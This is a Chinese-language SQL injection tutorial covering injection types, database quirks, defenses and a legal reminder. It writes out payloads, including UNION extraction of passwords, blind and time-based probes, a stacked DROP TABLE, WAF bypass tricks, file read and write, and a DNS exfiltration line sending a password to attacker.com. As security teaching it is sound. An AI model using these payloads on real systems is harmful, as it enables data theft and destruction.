SQL注入精粹:从0到1的注入之路
字数 1584 2025-08-18 11:35:59
SQL注入精粹:从0到1的注入之路
1. SQL注入基础概念
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的SQL代码,从而欺骗数据库服务器执行非预期的SQL命令。
1.1 SQL注入原理
- 应用程序未对用户输入进行充分过滤和验证
- 恶意输入被拼接到SQL查询中
- 数据库执行了包含恶意代码的完整查询
- 攻击者可以读取、修改或删除数据库中的数据
1.2 SQL注入危害
- 数据泄露(用户凭证、个人信息等)
- 数据篡改
- 数据库服务器被控制
- 拒绝服务攻击
- 整个系统沦陷
2. SQL注入类型
2.1 基于错误的注入
利用数据库返回的错误信息获取数据库结构信息。
2.2 联合查询注入
使用UNION操作符将恶意查询与原始查询合并执行。
2.3 布尔盲注
通过页面返回的真假状态推断信息。
2.4 时间盲注
通过数据库响应时间差异推断信息。
2.5 堆叠查询
执行多个SQL语句,利用分号(;)分隔。
3. 关键注入技术详解
3.1 基础注入技术
3.1.1 单引号测试
' OR '1'='1
3.1.2 注释符使用
' --
' #
' /* */
3.2 联合查询注入详解
3.2.1 确定列数
ORDER BY n -- 通过递增n直到报错确定列数
3.2.2 UNION注入
UNION SELECT 1,2,3 -- 确定显示位
UNION SELECT username,password,3 FROM users -- 获取数据
3.3 报错注入技术
3.3.1 floor(rand(0)*2)报错原理
SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND(0)*2)) AS x
FROM information_schema.tables
GROUP BY x
rand(0):以0为种子生成随机数序列rand(0)*2:将随机数乘以2floor(rand(0)*2):取整,结果为0或1- 当使用GROUP BY时,由于rand()的随机性会导致主键冲突报错
3.3.2 其他报错函数
extractvalue()
updatexml()
exp()
geometrycollection()
polygon()
3.4 盲注技术
3.4.1 布尔盲注
AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'
3.4.2 时间盲注
IF(SUBSTRING(password,1,1)='a', SLEEP(5), 0)
3.5 堆叠查询
'; DROP TABLE users; --
4. 数据库特性与绕过技巧
4.1 MySQL特性
- 注释:
--,#,/* */ - 字符串连接:
CONCAT(),||(需设置PIPES_AS_CONCAT) - 信息获取:
information_schema
4.2 MSSQL特性
- 注释:
--,/* */ - 字符串连接:
+ - 信息获取:
sysobjects,syscolumns
4.3 Oracle特性
- 注释:
--,/* */ - 字符串连接:
|| - 信息获取:
all_tables,all_tab_columns
4.4 绕过技巧
4.4.1 大小写混合
SeLeCt
4.4.2 内联注释
/*!SELECT*/
4.4.3 编码绕过
%27 OR %271%27=%271
4.4.4 等价函数替换
SUBSTRING() -> MID() -> SUBSTR()
4.4.5 空白符替换
%09 (TAB), %0A (换行), %0C (换页), %0D (回车)
5. 防御措施
5.1 输入验证
- 白名单验证
- 数据类型检查
- 长度限制
5.2 参数化查询
使用预编译语句,分离SQL代码和数据。
5.3 最小权限原则
数据库账户只授予必要权限。
5.4 错误处理
自定义错误页面,不暴露数据库错误信息。
5.5 Web应用防火墙(WAF)
过滤恶意请求。
6. 实战演练
6.1 注入点识别
- 寻找用户输入点
- 测试特殊字符响应
- 判断注入类型
6.2 信息收集
- 数据库版本
- 数据库名称
- 表名和列名
- 数据提取
6.3 自动化工具使用
- sqlmap
- Havij
- Burp Suite
7. 高级技巧
7.1 DNS外带数据
LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share'))
7.2 二进制数据提取
使用HEX()或ASCII()函数处理二进制数据。
7.3 文件读写
SELECT ... INTO OUTFILE
LOAD_FILE()
8. 法律与道德
- SQL注入测试必须获得授权
- 未经授权的测试可能构成犯罪
- 遵循负责任的披露原则
9. 学习资源
- OWASP SQL Injection Prevention Cheat Sheet
- SQL Injection Wiki
- Web安全测试实践指南
这篇文档涵盖了SQL注入的核心知识点,从基础概念到高级技巧,并包含了勘误中提到的floor(rand(0)*2)报错注入的详细解释。实际应用中请确保遵守法律法规,仅在授权环境下进行安全测试。